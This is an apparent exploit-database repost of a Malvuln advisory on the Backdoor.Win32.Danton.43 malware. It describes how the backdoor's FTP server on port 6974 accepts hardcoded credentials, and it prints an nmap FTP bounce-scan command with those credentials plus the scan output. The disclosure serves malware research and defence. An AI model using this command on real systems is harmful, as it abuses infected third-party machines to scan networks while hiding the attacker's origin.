Backdoor.Win32.Danton.43 / MITM Port Bounce Scan

CVE Category Price Severity
CWE-74 $1500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-05-15
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.79428 0.91875

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Danton.43 / MITM Port Bounce Scan
Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Danton.43
Vulnerability: MITM Port Bounce Scan
Description: The backdoor FTP server listens on TCP port 6974, hardcoding weak plaintext credentials within the executable. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 85f7ef2b6b8da9adb7723a13b91ac1c7
Vuln ID: MVID-2021-0212 
Disclosure: 05/14/2021

nmap -n -Pn -b Danton:[email protected]:6974 -p21,22,80 -v
Starting Nmap 7.80 ( ) at 2021-05-13 18:46 Pacific Daylight Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://Danton:[email protected]:6974
Connected:220 [ ]
Login credentials accepted by FTP server!
Initiating Bounce Scan at 18:47
Discovered open port 80/tcp on
Completed Bounce Scan at 18:47, 2.47s elapsed (3 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

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